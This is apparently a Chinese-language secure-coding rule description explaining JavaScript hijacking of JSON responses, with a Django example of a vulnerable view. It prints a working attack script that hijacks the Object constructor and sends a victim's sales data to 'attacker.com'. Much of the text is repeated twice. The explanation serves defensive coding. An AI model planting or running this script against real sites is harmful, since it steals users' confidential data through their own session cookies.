網頁瀏覽器強制使用相同來源策略 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求，若要使用 JavaScript 存取網頁的內容，則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy)，惡意網站可使用用戶端的憑證執行從其他網站載入敏感資訊的 JavaScript，從中挑選資訊，並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy)，在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料，但是它仍然可以設定環境來利用此弱點，此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用，與傳統的 Web 應用程式不同，它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構：陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式，都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易，因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式，當應用程式需要傳輸多個值時一般會使用該形式。換句話說，JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊，這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1：以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動，此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意，本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時，若沒有使用新的運算子，其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料，並使用以下的程式碼來評估 JSON 結果：

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

當此程式碼執行時，將產生如下的 HTTP 要求：

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(在此 HTTP 回應和之後的內容，我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應：

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

在此案例中，JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼，是無法存取這些資訊的。(在大部份的現代 Web 應用程式中，階段作業識別碼儲存在 cookie 中。)不過，如果一位受害者造訪了惡意的網站，此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁，則將會把受害者的重要資訊傳送到攻擊者的網站中。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之，系統將會處理此要求，就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時，將在惡意頁面的環境內接受評估。為了監視 JSON 的評估，惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式，惡意程式碼已插入陷阱，藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事，所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便，也可以保持安全，但兩者不可兼得。若使用者未登入易受攻擊的網站，攻擊者可能請求使用者登入，然後顯示應用程式的合法登入頁面，藉此進行彌補。

這並非網路釣魚攻擊，因為攻擊者並未取得使用者憑證的存取權，因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤，從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於，在此 mashup 情況中，涉及的其中一個應用程式是惡意的。

在下列情況，應用程式可能很容易受到 JavaScript 劫持的攻擊：
1) 使用 JavaScript 物件做為資料傳輸格式
2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現，因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼，喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源策略 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求，若要使用 JavaScript 存取網頁的內容，則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy)，惡意網站可使用用戶端的憑證執行從其他網站載入敏感資訊的 JavaScript，從中挑選資訊，並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy)，在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料，但是它仍然可以設定環境來利用此弱點，此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用，與傳統的 Web 應用程式不同，它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構：陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式，都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易，因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式，當應用程式需要傳輸多個值時一般會使用該形式。換句話說，JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊，這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1：以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動，此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意，本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時，若沒有使用新的運算子，其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料，並使用以下的程式碼來評估 JSON 結果：

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

當此程式碼執行時，將產生如下的 HTTP 要求：

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(在此 HTTP 回應和之後的內容，我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應：

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

在此案例中，JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼，是無法存取這些資訊的。(在大部份的現代 Web 應用程式中，階段作業識別碼儲存在 cookie 中。)不過，如果一位受害者造訪了惡意的網站，此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁，則將會把受害者的重要資訊傳送到攻擊者的網站中。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之，系統將會處理此要求，就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時，將在惡意頁面的環境內接受評估。為了監視 JSON 的評估，惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式，惡意程式碼已插入陷阱，藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事，所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便，也可以保持安全，但兩者不可兼得。若使用者未登入易受攻擊的網站，攻擊者可能請求使用者登入，然後顯示應用程式的合法登入頁面，藉此進行彌補。

這並非網路釣魚攻擊，因為攻擊者並未取得使用者憑證的存取權，因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤，從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於，在此 mashup 情況中，涉及的其中一個應用程式是惡意的。

範例 2：以下程式碼顯示 Django 檢視方法範例，此方法以 JSON 陣列的形式傳送包含敏感資料的 JSON 回應。

from django.http.response import JsonResponse
...
def handle_upload(request):
  response = JsonResponse(sensitive_data, safe=False)  # Sensitive data is stored in a list
  return response